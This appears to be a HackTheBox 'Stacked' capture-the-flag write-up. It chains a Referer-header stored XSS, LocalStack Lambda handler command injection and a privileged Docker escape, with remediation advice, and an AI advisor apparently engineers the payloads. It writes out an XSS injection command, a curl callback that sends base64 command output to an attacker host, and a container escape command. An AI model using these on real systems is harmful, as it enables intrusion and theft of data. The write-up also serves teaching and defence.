Insane

Stacked — HackTheBox

Multi-layered attack chain exploiting stored XSS via HTTP Referer header, LocalStack Lambda command injection, Docker socket abuse, and privileged container escape to full host compromise.

OS: Linux Target: 10.129.228.28 Date: March 27, 2026 Conducted by: CyberAgents + Claude Opus 4.6

Executive Summary

This engagement targeted HackTheBox "Stacked", an Insane-difficulty Linux machine featuring an Apache web application with virtual host routing, a LocalStack (AWS emulator) instance running in Docker with Lambda serverless functionality, an internal mail system with an admin bot, and a Docker API exposed on port 2376 with mutual TLS authentication.

The attack chain began with discovery of a contact form vulnerable to stored XSS via the unfiltered HTTP Referer header. An admin bot reviewing submissions executed attacker-controlled JavaScript, which exfiltrated internal mail content revealing the LocalStack configuration. Node.js Lambda functions were created and invoked through XSS-proxied API calls, yielding a reverse shell for user access. Root was achieved through a command injection vulnerability in LocalStack's Lambda handler parameter, followed by Docker socket abuse to mount the host filesystem from a privileged container.

16
Steps in Attack Chain
4
Critical Vulnerabilities
1
High Vulnerability
2 CVEs
CVE-2021-32090/32091

Scope & Methodology

Scope limited to 10.129.228.28 in HackTheBox lab environment. CyberAgents v2 framework with 58 autonomous agents orchestrated by an AttackTreePlanner with StrategicDecisionService. Claude Opus 4.6 as External AI Advisor providing real-time intelligence via ExternalAI.txt.

Hostnames in scope: stacked.htb, portfolio.stacked.htb, mail.stacked.htb, s3-testing.stacked.htb

Tools used: CyberAgents framework, Nmap, WhatWeb, Ffuf, custom JavaScript XSS payloads, AWS CLI, curl, Docker CLI, and base64-encoded callback exfiltration chains.


Attack Chain Overview

From Referer XSS to full host compromise in 16 steps.

1

Port Scan

Nmap TCP scan reveals ports 22 (SSH), 80 (HTTP/Apache 2.4.41), and 2376 (Docker API with mutual TLS). The Docker port hints at container infrastructure.

2

Web Fingerprinting

WhatWeb identifies Apache 2.4.41 (Ubuntu) and a 302 redirect to stacked.htb. The main domain serves a "Coming Soon" placeholder page.

3

Vhost Discovery

Ffuf discovers portfolio.stacked.htb (30,268 bytes vs. 282-byte default). The portfolio site belongs to a LocalStack development firm and hosts a contact form and a publicly downloadable docker-compose.yml.

4

XSS Filter Analysis

Contact form fields (fullname, email, subject, message) implement a server-side blacklist blocking <script>, event handlers, and most dangerous tags. The HTTP Referer header is completely unfiltered.

5

Stored XSS via Referer

A <script src="http://LHOST/exploit.js"> payload injected into the Referer header is stored and rendered when the admin bot reviews submissions in the internal mail application at mail.stacked.htb.

6

Admin Bot Execution

The admin bot checks new submissions every 2–4 minutes, triggering the XSS payload. JavaScript executes in the context of mail.stacked.htb with full access to internal resources.

7

Mail Exfiltration

exploit.js iterates mail entries via XMLHttpRequest to read-mail.php?id=N, exfiltrating internal mail content that reveals s3-testing.stacked.htb and confirms Node.js-only Lambda runtime support.

8

S3 Bucket Creation

s3-testing.stacked.htb is externally accessible. An S3 bucket is created with dummy AWS credentials and a Node.js Lambda ZIP containing a reverse shell is uploaded.

9

Lambda Creation via XSS

The Lambda API (localhost:4566) is only accessible internally. A second XSS payload proxies Lambda create/invoke API calls through the admin's browser, using proper AWS Authorization headers for service routing.

10

Lambda Invocation

Lambda function invoked via XSS-proxied POST to localhost:4566. Reverse shell connects from Lambda sandbox container (172.17.0.3) to attacker's listener on port 9001.

11

User Flag

Shell in Lambda sandbox container. User flag retrieved from /home/localstack/user.txt: 708180cbea4…

12

Handler Command Injection

LocalStack 0.12.6 lambda_executors.py interpolates the Handler field into a docker create command with '"%s"' % handler — no shell escaping. Handler set to " ; COMMAND ; echo " breaks out of double quotes.

13

Root in LocalStack Container

Handler injection executes arbitrary commands as uid=0 inside the LocalStack main container (647dcb4b149d, 172.17.0.2). Docker CLI confirmed present at /usr/local/bin/docker.

14

Docker Socket Abuse

The Docker daemon is accessible from within the container. A new privileged container is launched using the locally cached lambci/lambda:nodejs12.x image with the host /root directory mounted.

15

Host Filesystem Access

docker run --privileged --user root -v /root:/mnt mounts the host's /root into the container. The root flag is read directly from /mnt/root.txt.

16

Root Flag

Full host compromise. Root flag retrieved: 3fa28c14d04…


Phase 1: Reconnaissance

Three ports open — SSH, HTTP, and notably port 2376 (Docker API with mutual TLS). The Docker API SSL certificate revealed CN=stacked with SANs including DNS:localhost, DNS:stacked, and multiple IP entries, confirming a containerized environment. The main stacked.htb domain served a static "Coming Soon" page, providing no direct attack surface.

Vhost fuzzing with Ffuf successfully discovered portfolio.stacked.htb, serving a full website for a LocalStack development consultancy. A key artifact was the downloadable docker-compose.yml which disclosed: LocalStack 0.12.6 (a version with known CVEs), all ports bound to 127.0.0.1 (no direct external access), Docker socket mounted inside the container, and serverless (Lambda) services enabled.

This intelligence shaped the entire subsequent attack strategy — the docker-compose.yml revealed both the internal architecture and the version fingerprint needed to identify applicable CVEs.


Phase 2: Cross-Site Scripting via Referer Header

The contact form at portfolio.stacked.htb/process.php implemented a server-side XSS blacklist that blocked all high-risk tags and event handlers in form fields. After 50+ minutes of testing form field payloads, the External AI Advisor identified the critical gap: the HTTP Referer header was passed to the backend entirely unfiltered.

Referer Injection

curl http://portfolio.stacked.htb/process.php \ -H 'Referer: <script src="http://10.10.16.158/exploit.js"></script>' \ -d 'tel=1&fullname=&email=&subject=&message='

The Referer value was stored alongside the form submission and rendered unescaped when the admin bot reviewed it via the internal mail application at mail.stacked.htb. The admin bot polled for new submissions every 2–4 minutes, providing a reliable trigger window.

Mail Exfiltration

The initial exploit.js exfiltrated mail content by iterating read-mail.php?id=N. The first mail entry disclosed the key intelligence: s3-testing.stacked.htb as the externally accessible LocalStack S3 endpoint, and the constraint that only Node.js Lambda runtimes were supported.

This XSS-as-proxy technique was used throughout the engagement — with 26 iterations of exploit.js payloads progressively performing S3 operations, Lambda creation, and Lambda invocation, all proxied through the admin's browser as the only path to reach the internal LocalStack API.


Phase 3: LocalStack Lambda Exploitation

With the S3 endpoint externally accessible and the Lambda API reachable only via internal proxy (XSS), exploitation required a two-channel approach: direct S3 operations from the attacker machine, and Lambda API calls proxied through the admin's XSS-compromised browser.

S3 Upload (direct)

# Create bucket and upload reverse shell Lambda ZIP aws --endpoint-url=http://s3-testing.stacked.htb s3 mb s3://testbucket123 aws --endpoint-url=http://s3-testing.stacked.htb s3 cp function.zip s3://testbucket123/

Lambda API (via XSS proxy)

A critical discovery was that LocalStack requires proper AWS Authorization headers with the correct service name to route requests internally. Without a valid lambda service in the Authorization header, requests were silently routed to S3. The exploit.js payload included a fabricated AWS4-HMAC-SHA256 Authorization header specifying the lambda service.

The Node.js Lambda function executed a reverse shell back to the attacker's listener on port 9001. The shell landed in a Lambda sandbox container (172.17.0.3), separate from the main LocalStack container (172.17.0.2). User flag retrieved from /home/localstack/user.txt: 708180cbea4…


Phase 4: Container Escape via Handler Injection

Vulnerability Analysis

Analysis of LocalStack 0.12.6 source code (localstack/services/awslambda/lambda_executors.py) revealed that the Lambda Handler field was interpolated into a shell command using Python string formatting without any shell escaping:

# lambda_executors.py ~line 686 command = '"%s"' % handler # wrapped in quotes, NOT shell-escaped # Interpolated into docker create at lines 709-721: cmd = 'CONTAINER_ID="$(%s create -i ... %s %s)";' % (docker_cmd, ..., docker_image, command)

Quote Escape Injection

Setting the Lambda handler to " ; COMMAND ; echo " breaks out of the double-quote enclosure. Each injected command executed in the LocalStack main container (172.17.0.2) as uid=0 (root). Since the Lambda container had no interactive shell, exfiltration was performed via sequential curl callbacks with base64-encoded command output — one command per Lambda invocation cycle.

# Original template: docker create -i ... "lambci/lambda:nodejs12.x" "HANDLER" # With Handler = '" ; curl http://LHOST/exf?d=$(id|base64) ; echo "': docker create -i ... "lambci/lambda:nodejs12.x" "" ; curl http://LHOST/exf?d=$(id|base64) ; echo ""

Docker Escape to Host

The LocalStack container had the Docker CLI installed and the Docker daemon accessible. Several image/flag combinations were tested before finding the working configuration — Alpine was unavailable (no internet), the localstack image had volume conflicts, and lambci without --user root lacked permissions. The successful command:

docker run --rm --privileged --user root --entrypoint sh \ -v /root:/mnt lambci/lambda:nodejs12.x \ -c "cat /mnt/root.txt"

Root flag retrieved: 3fa28c14d04…


Findings Summary

FindingSeverityDescription
Stored XSS via Referer HeaderCriticalHTTP Referer header stored and rendered unescaped, providing JavaScript execution in admin browser context with access to internal services.
Lambda Handler Command InjectionCriticalHandler parameter interpolated into docker create shell command without escaping. Enables root code execution in LocalStack container.
Docker Socket Exposed Inside ContainerCriticalDocker daemon accessible from LocalStack container allows privileged container creation with host filesystem mounts.
CVE-2021-32090 (LocalStack 0.12.6)CriticalDashboard command injection via functionName interpolation. CVSS 9.8.
Unfiltered S3 Access (s3-testing.stacked.htb)HighExternal access to LocalStack S3 with no authentication allows arbitrary Lambda code deployment.
Docker API on Port 2376 (external)MediumDocker API externally exposed. Mitigated by mutual TLS requirement but represents unnecessary attack surface.
CVE-2021-32091 (LocalStack 0.12.6)MediumStored XSS in LocalStack dashboard via unsanitized resource names. CVSS 6.1.

Key Problem-Solving Insights

The Referer Blind Spot

50+ minutes were spent testing XSS in form fields before identifying the unfiltered Referer header. Web application XSS filters often focus on form data while leaving HTTP headers unchecked — a critical asymmetry.

XSS-as-Proxy Architecture

The most complex aspect was using XSS not just for data theft but as a full API proxy. 26 exploit.js iterations were required to perform multi-step API operations — Lambda creation, invocation, and handler injection — all through a browser intermediary.

AWS Authorization Routing

LocalStack routes requests to different services based on the service name in the AWS Authorization header. Without a valid "lambda" service identifier, all requests went to S3. This undocumented behavior required live testing to discover.

Quote Escape vs. Subshell Injection

Initial handler injection attempts used $() subshell syntax inside existing double quotes, which failed. The working vector was a literal double-quote character to break out of the quoting entirely — a subtler form of the injection.

Blind Exfiltration via Callbacks

No interactive shell was available in the LocalStack main container. All post-exploitation enumeration was performed through sequential curl callbacks with base64-encoded output — one command per Lambda invocation, requiring careful sequencing.

Image Availability Constraints

Docker escape required using locally cached images only — no internet access. Alpine was unavailable; the working escape used the already-present lambci/lambda:nodejs12.x image with --privileged --user root flags after testing multiple failing configurations.


Remediation Recommendations

Critical

Sanitize All HTTP Headers

Apply the same XSS filtering to HTTP headers (Referer, User-Agent, X-Forwarded-For) as to form field values. Implement a Content Security Policy (CSP) to prevent inline script execution even if sanitization fails.

Upgrade LocalStack

Upgrade from 0.12.6 to the latest version to patch CVE-2021-32090 (dashboard command injection, CVSS 9.8), CVE-2021-32091 (stored XSS), and the handler command injection in lambda_executors.py.

Remove Docker Socket Mount

Do not mount /var/run/docker.sock inside containers. Use rootless Docker or Docker-in-Docker with proper isolation instead. The socket mount allowed full Docker daemon control from a compromised container.

Shell-Escape Lambda Parameters

Apply shlex.quote() or equivalent to all user-supplied parameters interpolated into shell commands, particularly Handler, Runtime, and FunctionName fields in lambda_executors.py.

High / Medium

Restrict S3 External Access

s3-testing.stacked.htb should not be publicly accessible. Require authentication for all S3 operations, and bind LocalStack ports only to 127.0.0.1 (as intended in docker-compose.yml) rather than any accessible interface.

Restrict Docker API Access

The Docker API on port 2376 should not be externally exposed. Apply firewall rules to restrict access to trusted management networks only.

Network Segmentation

Isolate the LocalStack development environment from production networks. The admin mail system should not share the same browser context as internal service access, preventing XSS-to-internal-API pivoting.

Container Hardening

Run containers with minimal privileges (--user nonroot), read-only filesystems where possible, and drop all unnecessary Linux capabilities. Prevent privileged container creation from within the container network.


CyberAgents Performance Analysis

Agent contribution and effectiveness during the Stacked engagement.

🔍

NmapAgent

Effective — Discovered the critical port 2376 (Docker mTLS) in addition to standard ports 22 and 80. The Docker port discovery immediately signaled a containerized environment.

🌐

WhatWebAgent

Effective — Identified Apache 2.4.41 (Ubuntu) and the hostname redirect behavior. Technology fingerprinting aided CVE research.

📂

FfufAgent

Critical contribution — Successfully discovered portfolio.stacked.htb via vhost fuzzing, which was the entry point for the entire attack chain. Vhost fuzzing succeeded here (unlike Skyfall's wildcard configuration).

🛠️

ToolForgeAgent

Workhorse — Executed AWS CLI operations, managed HTTP callback listeners, decoded base64 exfiltration data, and handled the complete Docker escape chain.

External AI Advisor (Claude Opus 4.6) — Critical Contributions

Referer Header XSS Discovery

After 50+ minutes of fruitless form-field XSS testing, identified the Referer header as an unfiltered attack vector. This insight unlocked the entire attack chain — without it the machine would have been stuck at reconnaissance.

XSS Payload Engineering (26 iterations)

Designed and iterated 26 versions of exploit.js, progressively implementing mail exfiltration, Lambda API creation, invocation, and handler injection — all proxied through the admin browser's XSS context.

AWS Authorization Header Discovery

Identified that LocalStack requires a service-specific Authorization header (specifying "lambda") for internal routing. Requests without this header were silently routed to S3, causing Lambda operations to fail silently.

LocalStack Source Code Analysis

Researched CVE-2021-32090, CVE-2021-32091, and the undocumented handler injection in lambda_executors.py by analyzing the LocalStack GitHub source at the exact 0.12.6 version tag.

Blind Exfiltration Strategy

Designed the sequential curl-callback exfiltration chain for operating without an interactive shell in the LocalStack main container. Each Lambda invocation performed one enumeration step, with base64-encoded output sent to the attacker's HTTP server.

Docker Escape Configuration

Tested and identified the correct docker run flags after multiple failed attempts (Alpine unavailable, localstack image volume conflict, lambci without --user root lacked permissions). Determined that lambci/lambda:nodejs12.x with --privileged --user root was the working combination.

Performance Summary

ComponentRatingNotes
NmapAgentEffectiveDiscovered Docker API port 2376, signaling container infrastructure.
FfufAgentCriticalDiscovered portfolio.stacked.htb — the entry point for the entire chain.
ToolForgeAgentWorkhorseHandled AWS CLI ops, callback listeners, base64 decoding, Docker escape.
External AI AdvisorEssentialIdentified Referer XSS vector, engineered 26 exploit.js payloads, designed full Docker escape path.
Overall EngagementSuccessFull compromise. User + Root flags captured.